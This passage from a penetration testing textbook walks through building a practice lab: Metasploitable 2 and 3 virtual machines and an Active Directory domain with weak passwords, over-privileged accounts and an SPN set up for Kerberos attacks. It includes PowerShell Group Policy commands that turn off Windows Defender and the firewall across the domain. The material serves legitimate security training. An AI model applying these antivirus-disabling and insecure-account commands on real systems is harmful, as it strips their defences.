When building a penetration testing lab, it’s important to include vulnerable systems that will act as 
our targets. These systems contain intentionally vulnerable services and applications, enabling us to 
practice and build our skills to better understand how to discover and exploit vulnerabilities. A very 
popular vulnerable machine is known as Metasploitable 2. This vulnerable machine contains a lot 
of security vulnerabilities that can be exploited and is good for learning about ethical hacking and 
penetration testing.

To get started setting up Metasploitable 2 within our lab environment, please use the following in-
structions:

Part 1 – deploying Metasploitable 2
The following steps will guide you to acquiring the Metasploitable 2 virtual machine and deploying it 
within Oracle VM VirtualBox Manager:

1. Firstly, on your host computer, go to https://sourceforge.net/projects/metasploitable/
files/Metasploitable2/ to download the metasploitable-linux-2.0.0.zip file onto your 
device. Once the ZIP file has been downloaded, extract (unzip) its contents. The extracted files 
are the virtual hard disk and settings configuration files for the Metasploitable 2 virtual machine.

2. Next, let’s create a virtual machine for Metasploitable 2, open Oracle VM VirtualBox Manager, 
and click on New.

3. When the Create Virtual Machine window appears, click on Expert Mode to change the con-
figuration view.

To learn more about the OWASP Juice Shop vulnerable web application, please see 
the official documentation at https://owasp.org/www-project-juice-shop/.

To verify the status of the Docker service, use the sudo systemctl status docker 
command. In addition, if you having network connectivity issues to the internet from 
Kali Linux, simply reboot the virtual machine.

https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://sourceforge.net/projects/metasploitable/files/Metasploitable2/
https://owasp.org/www-project-juice-shop/
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4. Next, within the Name and Operating System section, use the following configurations for 
the virtual machine:

• Name: Metasploitable 2
• Type: Linux
• Version: Other Linux (64-bit)

The following screenshot shows the preceding settings on the Create Virtual Machine window:

Figure 2.38: The Create Virtual Machine window
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5. Next, expand the Hard Disk category on the Create Virtual Machine window, select the Use 
an Existing Virtual Hard Disk File option, and then click on the folder icon on the right side:

Figure 2.39: Virtual hard disk settings
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6. Next, in the Hard Disk Selector window, click on Add:

Figure 2.40: Adding an existing virtual hard disk

7. Next, a pop-up window will appear; use it to navigate to the Metasploitable 2 extracted folder 
and its contents, select the Metasploitable VMDK file and click on Open, as shown here:

Figure 2.41: Selecting the virtual hard disk
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8. Next, you will automatically return to the Hard Disk Selector window where the Metasploitable 
disk file will be available; select it and click on Choose:

Figure 2.42: Choosing the imported virtual hard disk
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9. Next, you’ll automatically return to the Create Virtual Machine window where you’ll see the 
Metasploitable.vmdk file is loaded as the existing virtual disk file. Here, click on Finish:

Figure 2.43: Using the newly imported virtual hard disk

At this point, the Metasploitable 2 virtual machine is created and loaded within the Oracle VM Virtu-
alBox Manager. Next, we will connect the Metasploitable 2 virtual machine to the PentestNet virtual 
network.
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Part 2 – configuring network settings
Since our penetration testing lab topology contains more than one virtual network, the following 
steps will help ensure Kali Linux has end-to-end network connectivity with the Metasploitable 2 
virtual machine:

1. To configure the networking settings, select the newly created Metasploitable 2 virtual machine 
within Oracle VM VirtualBox Manager and click on Settings.

2. Next, go to the Network | Adapter 1 and use the following configurations:

• Enable the network adapter
• Attached to: Internal Network
• Name: PentestNet (manually type it in the field)
• Promiscuous Mode: Allow All

The following screenshot shows the preceding configurations on Adapter 1. Click OK to save:

Figure 2.44: Network Adapter 1 settings
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3. Next, power on the Metasploitable 2 virtual machine and log in using the username: msfadmin 
and password: msfadmin. Then, use the ip address command to verify the virtual machine is 
receiving an IP address on the 172.30.1.0/24 network:

Figure 2.45: Verifying IP assignment

4. Lastly, use the sudo halt command to power off the Metasploitable 2 virtual machine.

Having completed this section, you have learned how to set up Metasploitable 2 as a vulnerable ma-
chine within our penetration testing lab. Next, you will learn how to build and deploy Metasploitable 
3 using Vagrant.

If your mouse cursor is stuck within a virtual machine, press the right Ctrl key to 
detach the cursor.
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Building and deploying Metasploitable 3
In this section, you will learn how to build and deploy Metasploitable 3, both the Windows server and 
Linux server versions. The Windows server version will be using a dual-homed network connection to 
both the PentestNet network (172.30.1.0/24) and HiddenNet network (10.11.12.0/24). This setup will 
enable us to perform pivoting and lateral movement between different networks. Finally, the Linux 
server version will be connected to the HiddenNet network (10.11.12.0/24) only.

The following diagram shows the logical connections between systems and networks:

Figure 2.46: Low-level lab diagram

As shown in the preceding diagram, this topology goes more in depth on how the virtual machines 
are interconnected within our virtual lab environment. For instance, to access the Metasploitable 
3 – Linux version, we will need to first compromise the Metasploitable 3 – Windows version via the 
PentestNet network, then pivot our attacks to the HiddenNet network.

Part 1 – building the Windows server version
To get started building and deploying Metasploitable 3 – Windows version, please follow these in-
structions:

1. Firstly, you will need to download and install Vagrant on your host computer. Vagrant enables 
users to both build and maintain virtual machines and applications. On your host computer, 
go to https://www.vagrantup.com/ and click on the Download button on the web page.

https://www.vagrantup.com/
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2. Next, select and download Vagrant AMD64 version 2.3.7 as shown in the following screenshot:

Figure 2.47: The Vagrant download page

After downloading the Vagrant software package, double-click on the installer package to start 
the installation process. After the installation is completed, you’ll be prompted to reboot your 
host computer to ensure the changes are effective.

3. After your host computer reboots, open the Windows Command Prompt and use the following 
commands to reload and install additional plugins for Vagrant:

C:\Users\Glen> vagrant plugin install vagrant-reload
C:\Users\Glen> vagrant plugin install vagrant-vbguest

The following screenshot shows the execution of the preceding commands:

Figure 2.48: Vagrant commands
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4. Next, use the following commands to load the Metasploitable 3 – Windows server version to 
your system using Vagrant:

C:\Users\Glen> vagrant box add rapid7/metasploitable3-win2k8

5. Next, select option 1 to use VirtualBox as the preferred hypervisor:

Figure 2.49: Selecting the Metasploitable 3 Vagrant image

6. Vagrant will begin to download the virtual machine files for the Metasploitable – Windows 
version as shown here:

Figure 2.50: Downloading the Metasploitable 3 image

7. Next, change the current working directory to .vagrant.d\boxes, rename the rapid7-
VAGRANTSLASH-metasploitable3-win2k8 folder, and initialize the build configurations for 
the Metasploitable 3 – Windows virtual machine using the following commands:

C:\Users\Glen> cd .vagrant.d\boxes
C:\Users\Glen\.vagrant.d\boxes> REN "rapid7-VAGRANTSLASH-metasploitable3-
win2k8" "metasploitable3-win2k8"
C:\Users\Glen\.vagrant.d\boxes> vagrant init metasploitable3-win2k8
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The following screenshot shows the successful execution of the preceding commands:

Figure 2.51: Initializing the Metasploitable 3 image

8. Next, use the following commands to start the build process of this virtual machine:

C:\Users\Glen\.vagrant.d\boxes> vagrant up

The following screenshot shows the execution of the preceding commands:

Figure 2.52: Building and setting up the Metasploitable 3 image

This process usually takes a few minutes to complete.

9. After the process is completed, open the Oracle VM VirtualBox Manager. Here, you will find a 
newly created virtual machine named boxes_default_* is running. This is the Metasploitable 
3 – Windows virtual machine. Select it and click on Show:

If the vagrant up command gives an error, execute it again.
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Figure 2.53: VirtualBox with Metasploitable 3

10. Once the virtual machine is detached, on the virtual machine menu bar, click on Input > Key-
board | Insert Ctrl-Alt-Del, as shown in the following screenshot:

Figure 2.54: Input menu on VirtualBox
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11. Select the Administrator account and use the default password: vagrant to log in, as shown 
here:

Figure 2.55: Metasploitable 3 login screen

Once you’re logged in, simply close all the windows that appear and do not activate the oper-
ating system.

12. Click on the Start icon in the bottom-left corner and select the Shutdown button to shut down 
/ turn off the operating system.

13. Next, on the Oracle VM VirtualBox Manager, select the Metasploitable 3 – Windows virtual 
machine and click on Settings. 
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14. Then, select the Network category and use the following configurations for Adapter 1:

• Enable the network adapter
• Attached to: Internal Network
• Name: PentestNet (manually type it in the field; it is case sensitive)
• Promiscuous Mode: Allow All

The following screenshot shows the preceding configurations on Adapter 1:

Figure 2.56: Network | Adapter 1

15. Next, select Adapter 2 and use the following configurations:

• Enable the network adapter
• Attached to: Internal Network
• Name: HiddenNet (manually type it in the field; it is case sensitive)
• Promiscuous Mode: Allow All
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The following screenshot shows the preceding configurations on Adapter 2:

Figure 2.57: Network | Adapter 2

16. Lastly, ensure Kali Linux has end-to-end connectivity with the Metasploitable 3 – Windows 
virtual machine on the network.

Next, you will deploy  Metasploitable 3 – Linux virtual machine within the HiddenNet network.

To rename your virtual machine, navigate to Settings | General | Basic | Name.
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Part 2 – building the Linux server version
To start setting up the Linux version of Metasploitable 3 within our lab environment, please follow 
these instructions:

1. On the Windows Command Prompt, use the following commands to load the Linux version 
of Metasploitable 3 on your host device using Vagrant:

C:\Users\Glen\.vagrant.d\boxes> vagrant box add rapid7/metasploitable3-
ub1404

2. Next, choose option 1 and hit Enter to download the virtual machine files for Metasploitable 
3 – Linux version, as shown here:

Figure 2.58: Adding the Linux version of Metasploitable 3

3. Next, delete the Vagrantfile file, rename the rapid7-VAGRANTSLASH-metasploitable3-ub1404 
folder, and initialize the build configurations for the Metasploitable 3 – Linux virtual machine 
using the following commands:

C:\Users\Glen\.vagrant.d\boxes> del Vagrantfile
C:\Users\Glen\.vagrant.d\boxes> REN "rapid7-VAGRANTSLASH-metasploitable3-
ub1404" "metasploitable3-ub1404"
C:\Users\Glen\.vagrant.d\boxes> vagrant init metasploitable3-ub1404
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The following screenshot shows the execution of the preceding commands:

Figure 2.59: Initializing the Linux version of Metasploitable 3

4. Next, open Windows Explorer and go to C:\Users\<userrname>\.vagrant.d\boxes\
metasploitable3-ub1404\0.1.12-weekly\virtualbox, where you will find the compiled 
virtual machine files. Right-click on the box file and click Open with | VirtualBox Manager:

Figure 2.60: Importing Metasploitable 3 (Linux) into VirtualBox

5. Next, the Import Virtual Appliance window will appear. Click on the Finish button shown in 
the following screenshot:

You may need to open Oracle VM Virtual Manager before proceeding to the next 
step. If you do not, the next step may not work correctly.
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Figure 2.61: Metasploitable 3 (Linux) appliance settings

6. Next, the metasploitable3-ub1404 virtual machine will be imported on Oracle VM VirtualBox 
Manager. Select it and click on Settings:
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7. Next, select Adapter 1 and use the following configurations:

• Enable the network adapter
• Attached to: Internal Network
• Name: HiddenNet (manually type it in the field)
• Promiscuous Mode: Allow All

The following screenshot shows the preceding configurations on Adapter 1:

Figure 2.63: Network | Adapter 1

8. Finally, power on the metasplotable3-ub1404 virtual machine and log in using the username: 
vagrant and password: vagrant. Once you’re logged in, use the ip address command to verify 
the virtual machine is receiving an IP address on the 10.11.12.0/24 network:
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Figure 2.64: Verifying IP assignment

Having completed this section, you have learned how to set up both versions of Metasploitable 3 within 
your lab environment. Metasploitable 3 contains newer vulnerabilities than its predecessor and will 
be fun to exploit in later chapters of this book.

Use the sudo halt command to power off this virtual machine.
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Summary
Having completed this chapter, you learned about the importance of building your very own pene-
tration testing lab on your computer. You learned how to use hypervisors to virtualize the hardware 
resources on a system, which can then be shared with multiple operating systems that are running at 
the same time on the same system. In addition, you have gained the skills of setting up and deploying 
Kali Linux, multiple vulnerable systems, and web applications within a virtualized environment.

You established a foundational understanding of virtualization technology, gained practical experience 
in configuring a secure, isolated lab environment, and practiced hands-on skills in utilizing penetration 
testing tools within that environment.

I trust that the knowledge presented in this chapter has provided you with valuable insights, supporting 
your path toward becoming an ethical hacker and penetration tester in the dynamic field of cyberse-
curity. May this newfound understanding empower you in your journey, allowing you to navigate the 
industry with confidence and make a significant impact. In the next chapter, you will learn how to set 
up an AD lab environment for performing red teaming techniques used in later chapters.

Further reading
• OWASP Top 10 – https://owasp.org/www-project-top-ten/
• Kali Linux Blog – https://www.kali.org/blog/

Join our community on Discord
Join our community’s Discord space for discussions with the author and other readers:

https://packt.link/SecNet

https://owasp.org/www-project-top-ten/
https://www.kali.org/blog/
https://packt.link/SecNet


3
Setting Up for Advanced 
Penetration Testing Techniques

Learning the methodology and techniques of performing penetration testing is always exciting. While 
many professionals may focus on specific types of penetration testing, such as internal or external 
network penetration testing, social engineering penetration testing, or even web application security 
testing, it’s always beneficial to understand how to perform wireless penetration testing and how to 
compromise a Microsoft Windows domain in an enterprise environment.

In this chapter, you will learn how to set up an Active Directory domain environment that will enable 
you to perform advanced penetration testing exercises such as red teaming techniques to discover 
security vulnerabilities and compromise the Domain Controller, taking over the domain of the or-
ganization. Red teaming focuses on a very comprehensive security assessment of an organization’s 
cyber defenses, physical security controls, technologies, processes, and people, such as the employees. 
Red teaming is designed to simulate real-world cyber-attacks to test an organization’s ability to detect, 
respond to, and mitigate cybersecurity incidents.

In addition, you will set up a Remote Authentication Dial-In User Service (RADIUS) access server to 
provide Authentication, Authorization, and Accounting (AAA) services to our enterprise wireless 
network.

In this chapter, we will cover the following topics:

• Building an Active Directory red team lab
• Setting up a wireless penetration testing lab

Let’s dive in!
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Technical requirements
To follow along with the exercises in this chapter, please ensure that you have met the following 
hardware and software requirements:

• Oracle VM VirtualBox: https://www.virtualbox.org/
• Windows 10 Enterprise: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-

10-enterprise

• Windows Server 2019: https://www.microsoft.com/en-us/evalcenter/evaluate-windows-
server-2019

• Ubuntu Server 22.04 LTS: https://releases.ubuntu.com/jammy/
• Wireless router that supports WPA2 and WPA3

Building an Active Directory red team lab
Active Directory is a role within the Microsoft Windows Server operating system that enables IT 
administrators to centrally manage all users, devices, and policies within a Windows environment. 
Active Directory ensures that centralized management is available for user accounts across an entire 
Windows domain and that policies can be created and assigned to various user groups to ensure people 
have the necessary access rights to perform actions that are related to their job duties.

Active Directory is commonly found within many organizations around the world. Therefore, as an 
aspiring ethical hacker and penetration tester, it’s important to understand how to discover various 
security vulnerabilities within a Microsoft Windows domain and leverage those security flaws to 
compromise an organization’s Domain Controller and its systems, services, and shared resources.

Active Directory provides centralized identity management for user accounts, groups, and computer 
accounts within an organization that’s using Microsoft Windows Server. By understanding Active Di-
rectory, ethical hackers and penetration testers can target and determine the security posture of this 
system. Since Active Directory is commonly used by organizations as their central hub for configuring 
access controls on user accounts and device accounts, this can be a prime targeted system for real 
threat actors. Therefore, it’s essential for penetration testers to understand how Active Directory is 
integrated with other systems and the services it provides to better identify potential attack vectors 
and how it can be compromised. To put it simply, if an attacker can compromise and take over Active 
Directory within an organization, that’s the end game as the attacker can control the Windows domain 
environment in the network.

This section will teach you how to create a Microsoft Windows lab environment with Microsoft Win-
dows Server 2019 and two Windows 10 Enterprise clients as virtual machines. This lab environment 
will allow you to practice advanced penetration testing techniques such as red teaming exercises in 

To learn more about the role and importance of a Domain Controller, please see https://
www.techtarget.com/searchwindowsserver/definition/domain-controller. 

https://www.virtualbox.org/
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019
https://releases.ubuntu.com/jammy/
https://www.techtarget.com/searchwindowsserver/definition/domain-controller
https://www.techtarget.com/searchwindowsserver/definition/domain-controller
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The following diagram shows the RedTeamLab environment:

Figure 3.1: Red teaming topology

As we can see, our Kali Linux virtual machine is directly connected to the RedTeamLab environment, 
which has a Windows Server machine and two Windows 10 client machines. In later sections of this 
book, you will learn how to perform exploitation and post-exploitation techniques on targets, so when 
you’re exploiting the systems within the Windows domain, we will assume you have already broken 
into the network and have compromised at least one system that’s connected to Active Directory. For 
now, we will focus on setting up our environment for security testing later.

The following table shows the user accounts that we will be setting up in the RedTeamLab environment:

Figure 3.2: User accounts
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As shown in the preceding table, we will create two domain users (gambit and rogue), an additional do-
main administrator (wolverine), and a service account with domain administrative privileges (sqladmin).

To get started setting up the red team section of our lab, please use the instructions in the following 
sections.

Part 1 – Setting up Windows Server
In this section, you will learn how to set up Microsoft Windows Server 2019 as a virtual machine. To 
get started with this exercise, please use the following instructions:

1. On your host computer, go to https://www.microsoft.com/en-us/evalcenter/evaluate-
windows-server-2019 and click on Download the VHD. Ensure you complete the registration 
form to access the download links for the Virtual Hard Disk (VHD) 64-bit edition file as shown 
below:

Figure 3.3: Download page for Windows Server 2019

2. Once the Windows Server 2019 VHD file is downloaded on your host computer, open Oracle 
VM VirtualBox Manager and click on New to create a new virtual machine environment.

3. When the Create Virtual Machine window appears, click on Expert Mode and use the following 
configurations:

• Name: Windows Server 2019
• Type: Microsoft Windows
• Version: Windows 2019 (64-bit)
• Hard Disk: Use an existing virtual hard disk file (click on the folder icon and then Add, 

and select the Windows Server 2019 VHD file)
• Click on Finish to save the virtual machine

Rather than downloading an ISO image, using a pre-built VHD for Windows Server 
2019 will reduce the time needed to install the Windows Server 2019 operating 
system as a virtual machine. In addition, please plan your time wisely as the file 
is approximately 10 GB in size.

https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-server-2019
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4. Once the Windows Server 2019 virtual machine is created and saved on Oracle VM VirtualBox 
Manager, select it and click on Settings.

5. In the Settings window, select the Network category and use the following settings for Adapter 1:

• Adapter 1: Enable network Adapter
• Attached to: Internal Network
• Name: RedTeamLab (manually type it in the field)
• Promiscuous Mode: Allow All

The following screenshot shows the preceding configurations for Adapter 1:

Figure 3.4: Network Adapter 1 settings

6. Next, select the Windows Server 2019 virtual machine and click on Start to power it on.
7. Once the virtual machine is running, you will prompted to select your home country/region, 

preferred app language, and keyboard layout. Click on Next.
8. Next, you will need to read the License terms and click on Accept.
9. Next, create a password for the built-in Administrator account, use P@ssword1 as the pass-

word, and click on Finish.
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10. Next, log in to the Windows Server 2019 virtual machine. On the virtual machine menu bar, 
select Input | Keyboard | Insert Ctrl-Alt-Del to view the login window:

Figure 3.5: Soft keyboard menu

11. Log in using username: Administrator and password: P@ssword1.

Part 2 – Configuring virtual machine additional features
In this section, you will configure additional virtual machine settings to ensure there’s a smooth ex-
perience between your host operating system and the guest operating system:

1. Ensure the Windows Server 2019 virtual machine is running and you’re logged in.

To scale the virtual machine’s desktop resolution to fit your host computer’s monitor, on the 
virtual machine menu bar, select Devices | Insert Guest Additions CD image as shown here:

Figure 3.6: Guest additions image
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2. Next, open Windows Explorer within Windows Server 2019, navigate to This PC, and dou-
ble-click on the VirtualBox Guest Additions virtual disk:

Figure 3.7: Guest Additions installer

3. When the installation window appears, click on Next and ensure that you use the default set-
tings during the installation process. When it’s complete, do not reboot.

4. Next, within Windows Server 2019, click on the Start button (bottom-left corner) and open 
Windows PowerShell. Use the following commands to static assign an IP address and subnet 
mask to the Ethernet network adapter:

PS C:\Users\Administrator> netsh interface ipv4 set address 
name="Ethernet" static 192.168.42.40 255.255.255.0

5. Next, change the default hostname to DC1 and reboot the server with the following commands:

PS C:\Users\Administrator> Rename-Computer -NewName "DC1" -Restart

The following screenshot shows the execution of the preceding commands:

Figure 3.8: Setting a static address and custom name on Windows Server
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6. Next, after the server reboots, log in using the Administrator credentials. The Windows Server 
desktop interface will automatically scale to fit your monitor’s resolution. If it doesn’t, simply 
toggle this with the VirtualBox menu bar and go to the View | Auto-resize Guest Display option 
as shown here:

Figure 3.9: Resizing display

Part 3 – Setting Active Directory Domain Services
Active Directory is a very important and popular role within Microsoft Windows Server as it allows IT 
professionals to centrally manage all users, devices, and policies within a Windows environment. To 
set up Active Directory within our lab, please use the following instructions:

1. Open the Windows PowerShell application within the Windows Server 2019 virtual machine.
2. Install Active Directory Domain Services and its management tools using the following com-

mands:

PS C:\Users\Administrator> Install-WindowsFeature -name AD-Domain-
Services -IncludeManagementTools

3. Next, configure a new Active Directory forest and domain with the name redteamlab.local 
using the following commands:

PS C:\Users\Administrator> Install-ADDSForest -DomainName redteamlab.
local -skipprechecks
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You’ll be prompted to enter a Safe Mode Administrator Password; use P@ssword1. When 
prompted to continue the operation, type Y and hit Enter to continue, as shown in the follow-
ing screenshot:

Figure 3.10: Joining a domain using PowerShell

The setup process takes a few minutes to complete, then Windows Server will automatically 
reboot.

After the server reboots, log in using the Administrator credentials. This time, you’ll be logging in as 
a domain administrator on the server.

Part 4 – Creating domain users and administrator accounts
The following steps will carefully guide you through the process of creating domain users and domain 
administrators and assigning the user to various security groups. To ensure these steps are simple 
and concise, we will be using Windows PowerShell on Windows Server:

1. On the Windows Server 2019 virtual machine, open the Windows PowerShell application and 
use the following commands to create four domain user accounts: 

PS C:\Users\Administrator> net user gambit Password1 /add /domain
PS C:\Users\Administrator> net user rogue Password1 /add /domain
PS C:\Users\Administrator> net user wolverine Password123 /add /domain
PS C:\Users\Administrator> net user sqladmin Password45 /add /domain

The following screenshot shows the execution of the preceding commands:

Figure 3.11: Creating user accounts
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2. Next, let’s make the wolverine account a high-privilege user account that has the same priv-
ileges as the administrator by using the following commands:

PS C:\Users\Administrator> net localgroup "Administrators" wolverine /add
PS C:\Users\Administrator> net group "Domain Admins" wolverine /add /
domain
PS C:\Users\Administrator> net group "Enterprise Admins" wolverine /add /
domain
PS C:\Users\Administrator> net group "Group Policy Creator Owners" 
wolverine /add /domain
PS C:\Users\Administrator> net group "Schema Admins" wolverine /add /
domain

The following screenshot shows the execution of the preceding commands:

Figure 3.12: Adding users to groups

3. Next, we will do the same for the sqladmin account:

PS C:\Users\Administrator> net localgroup "Administrators" sqladmin /add
PS C:\Users\Administrator> net group "Domain Admins" sqladmin /add /
domain
PS C:\Users\Administrator> net group "Enterprise Admins" sqladmin /add /
domain
PS C:\Users\Administrator> net group "Group Policy Creator Owners" 
sqladmin /add /domain
PS C:\Users\Administrator> net group "Schema Admins" sqladmin /add /
domain
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The following screenshot shows the execution of the preceding commands:

Figure 3.13: Adding another user to groups

Part 5 – Disabling antimalware protection and the domain 
firewall
Within our lab, we need to ensure the Windows Defender antimalware protection is disabled on the 
clients that are connected to the Windows domain. Some techniques are being used to bypass antivi-
ruses that will work currently, but they might not work afterward due to the continuous advancement 
of malware protection and solutions. 

The following steps will guide you through the process of ensuring Windows Defender and the host-
based firewall is disabled on all systems by leveraging Group Policy Objects (GPOs):

1. On the Windows Server 2019 virtual machine, open the Windows PowerShell application and 
use the following commands to create a new GPO called DisableAVGPO:

PS C:\Users\Administrator> New-GPO -Name DisableAVGPO -Comment "This GPO 
disables AV on the entire domain"

The following screenshot shows the expected results when executing the preceding commands:

Figure 3.14: Creating new GPO
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2. Next, use the following commands to disable the antimalware service from always running:

PS C:\Users\Administrator> Set-GPRegistryValue -Name 'DisableAVGPO' 
-Key "HKLM\Software\Policies\Microsoft\Windows Defender" -ValueName 
"ServiceKeepAlive" -Type DWORD -Value 0

As shown below, the preceding commands successfully updated the DisableAVGPO policy:

Figure 3.15: Disabling Windows Defender

3. Next, turn off the antimalware real-time protection using the following commands:

PS C:\Users\Administrator> Set-GPRegistryValue -Name 'DisableAVGPO' -Key 
"HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" 
-ValueName "DisableRealtimeMonitoring" -Type DWORD -Value 1

The following screenshot shows the preceding commands updated the policy:

Figure 3.16: Disabling Windows real-time protection
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4. Next, turn off Windows Defender Antivirus by using the following commands:

PS C:\Users\Administrator> Set-GPRegistryValue -Name DisableAVGPO 
-Key "HKLM\Software\Policies\Microsoft\Windows Defender" -ValueName 
"DisableAntiSpyware" -Type DWORD -Value 1

The following screenshot shows the execution of the preceding commands:

Figure 3.17: Disabling anti-spyware protection

5. Next, turn off Windows Defender Firewall with the following commands:

PS C:\Users\Administrator> Set-GPRegistryValue -Name DisableAVGPO -Key 
"HKLM\Software\Policies\Microsoft\WindowsFirewall\StandardProfile" 
-ValueName "EnableFirewall" -Type DWORD -Value 0
PS C:\Users\Administrator> Set-GPRegistryValue -Name DisableAVGPO 
-Key "HKLM\Software\Policies\Microsoft\WindowsFirewall\DomainProfile" 
-ValueName "EnableFirewall" -Type DWORD -Value 0
PS C:\Users\Administrator> Set-GPRegistryValue -Name DisableAVGPO 
-Key "HKLM\Software\Policies\Microsoft\WindowsFirewall\PublicProfile" 
-ValueName "EnableFirewall" -Type DWORD -Value 0
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As shown in the following screenshot, the preceding commands executed successfully:

Figure 3.18: Disabling Windows Firewall

Part 6 – Setting up for service authentication attacks
In this part of the book, you will learn how to discover file and network sharing resources in a Windows 
environment. This section demonstrates how to create a network file share on Windows Server 2019 
to simulate a vulnerable service that can be exploited by a threat actor.

To get started with this exercise, please use the following instructions:

1. On Windows Server 2019, open the Windows PowerShell application with administrative priv-
ileges and execute the following commands to create a shared folder on the C: drive:

PS C:\Users\Administrator> cd \
PS C:\> mkdir CorporateFileShare
PS C:\> net share DataShare=c:\CorporateFileShare
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The following screenshot shows the execution of the preceding commands:

Figure 3.19: Creating a file share

2. Next, we can verify the shared folder by opening the Server Manager application and selecting 
File and Storage Services | Shares, as shown here:

Figure 3.20: Verifying file share

3. Next, to ensure we can simulate a cyber-attack to compromise the Kerberos feature on a Win-
dows Server environment, we need to create a Service Principal Name (SPN) on our Domain 
Controller, which is our Windows Server. Open the Windows PowerShell application with 
administrative privileges and execute the following commands:

PS C:\> setspn -a DC1/sqladmin.REDTEAMLAB.local:64123 REDTEAMLAB\sqladmin
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The following screenshot shows the execution of the preceding command to assign the 
sqladmin account as an SPN:

Figure 3.21: Creating an SPN account

4. Lastly, use the slmgr /rearm command on the Windows Server 2019 virtual machine to pre-
vent it from automatically powering off as it’s a trial version. Reboot the system to ensure the 
changes take effect, then power off the virtual machine until it’s needed later.

Part 7 – Installing Windows 10 Enterprise
In this section, you will learn how to set up two Microsoft Windows 10 client systems within the Red-
TeamLab topology. One virtual machine will be logged on as Bob, while the other user will be logged 
on as Alice.

To get started with this exercise, please use the following instructions:

1. On your host computer, to download the Windows 10 Enterprise ISO file, go to https://www.
microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise and click on Download 
the ISO – Enterprise.

2. Next, complete the registration form and click on the Download button, then select ISO - En-
terprise 64-bit edition as shown below:

Figure 3.22: Download page for Windows 10

To learn more about service principle names on Windows Server, please see 
https://learn.microsoft.com/en-us/windows/win32/ad/service-
principal-names.

https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
https://www.microsoft.com/en-us/evalcenter/evaluate-windows-10-enterprise
https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names
https://learn.microsoft.com/en-us/windows/win32/ad/service-principal-names
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Once the Windows 10 Enterprise ISO file is downloaded onto your host computer, open Oracle 
VM VirtualBox Manager and click on New to create a new virtual machine.

3. The Create Virtual Machine window will appear. Use the following configurations:

• Name: Bob-PC
• ISO Image: Use the drop-down menu, select Other, then select the Windows 10 Enter-

prise ISO file and click on Open to attach it
• Type: Microsoft Windows
• Version: Windows 10 (64-bit)
• Skip Unattended Installation: Yes (check the box)

The following screenshot shows the preceding configurations:

Figure 3.23: Creating a virtual machine

Once you’re all set, click on Finish to save the virtual environment.
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4. Next, select the Bob-PC virtual machine and click on Settings, as shown below:

Figure 3.24: Accessing the Settings menu

5. Click on the Network category and apply the following settings to Adapter 1:

• Adapter 1: Enable Network Adapter
• Attached to: Internal Network
• Name: RedTeamLab (manually type it in the field)
• Promiscuous Mode: Allow All

The following screenshot shows the preceding configurations for Adapter 1:

Figure 3.25: Network Adapter 1 configuration
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6. Next, select the newly created virtual machine and click on Start to power on the system.
7. On the Windows Setup window, click on Next, then click on Install now.
8. Accept the Applicable notices and license terms and click on Next.
9. For the installation type, click on the Custom: Install Windows only (advanced) option.
10. Then, select Dive 0: Unallocated Space as it’s the only destination storage media within the 

virtual machine and click on Next to start the installation. After the installation is complete, 
the virtual machine will automatically reboot twice.

11. After the second reboot, you’ll be prompted to select your region. Then, click on Yes.

Next, select your keyboard layout, and click on Yes. You can skip the option for adding a second 
keyboard layout.

12. During the setup process of Windows 10, you’ll be asked to connect to a network. Select the I 
don’t have internet option to continue, as shown below:

Figure 3.26: Network options

13. Next, click on Continue with limited setup.
14. Next, create the username: bob with the password: P@ssword2.
15. Disable any unnecessary services on the privacy window and disable Cortana. Afterward, the 

setup process continues and will log you in automatically to the Windows 10 desktop.
16. Install VirtualBox Guest Additions on the Windows 10 virtual machine. Please see Part 2, steps 

2–4.
17. On Bob-PC, open the Command Prompt with administrative privileges and turn on network 

discovery and file sharing using the following commands:

C:\Windows\system32> netsh advfirewall firewall set rule group="Network 
Discovery" new enable=Yes
C:\Windows\system32> netsh advfirewall firewall set rule group="File and 
Printer Sharing" new enable=Yes
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The following screenshot shows the execution of the preceding commands:

Figure 3.27: Enabling file and printer sharing

18. Next, use the following commands to change the default hostname to Bob-PC:

C:\Windows\system32> powershell
PS C:\Windows\system32> Rename-Computer -NewName Bob-PC
PS C:\Windows\system32> Restart-Computer

Once this virtual machine is rebooted, the hostname will be Bob-PC, and Windows network 
and file sharing will be enabled. Power off Bob-PC for now.

19. Next, let’s create another Windows 10 virtual machine and call it Alice-PC. Repeat steps 3 – 20 
and ensure you set Alice-PC as both the name of the new virtual machine (step 4) and the 
hostname (step 20). Create the username alice with the password P@ssword2 as the local user 
during the setup process.

Part 8 – Adding the clients to the domain 
Use the following instructions to join/add each Windows 10 virtual machine, Bob-PC and Alice-PC, 
to the Active Directory database on the Domain Controller and allow them to participate as domain 
members:

1. Power on the Windows Server 2019 virtual machine, Bob-PC, and Alice-PC.
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2. On Bob-PC and Alice-PC, open the Command Prompt with administrative privileges (Run 
As Administrator) and use the ping 192.168.42.40 command to test network connectivity 
between each Windows 10 system and the Windows Server 2019 machine, as shown below:

Figure 3.28: Testing connectivity to the Domain Controller

As shown in the preceding screenshot, Bob-PC was able to communicate with the Windows 
Server 2019 virtual machine successfully.

3. Next, use the following commands on Bob-PC and Alice-PC to join the redteamlab.local 
domain:

C:\Windows\system32> powershell
PS C:\Windows\system32> Add-Computer -DomainName RedTeamLab.local 
-Restart

On both Windows 10 clients, use the ipconfig /all command to ensure the 
DNS server is 192.168.42.40. If the DNS server address is different, open the 
Command Prompt with administrative privileges, use the powershell command 
to enable PowerShell-mode, then use the PowerShell command to statically set 
the DNS server address: Set-DnsClientServerAddress -InterfaceAlias 
"Ethernet" -ServerAddresses "192.168.42.40".
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4. Next, the Windows PowerShell credentials request window will appear. Simply enter the 
domain administrator account (Administrator/P@ssword1) to authenticate the request and 
click on OK, as shown below:

Figure 3.29: Joining a domain

5. Once the system has rebooted, click on Other user in the bottom-left corner of the login window 
and log in using a domain user account, such as username gambit or rogue with the password 
Password1, as shown below:

Figure 3.30: Log in as a domain user
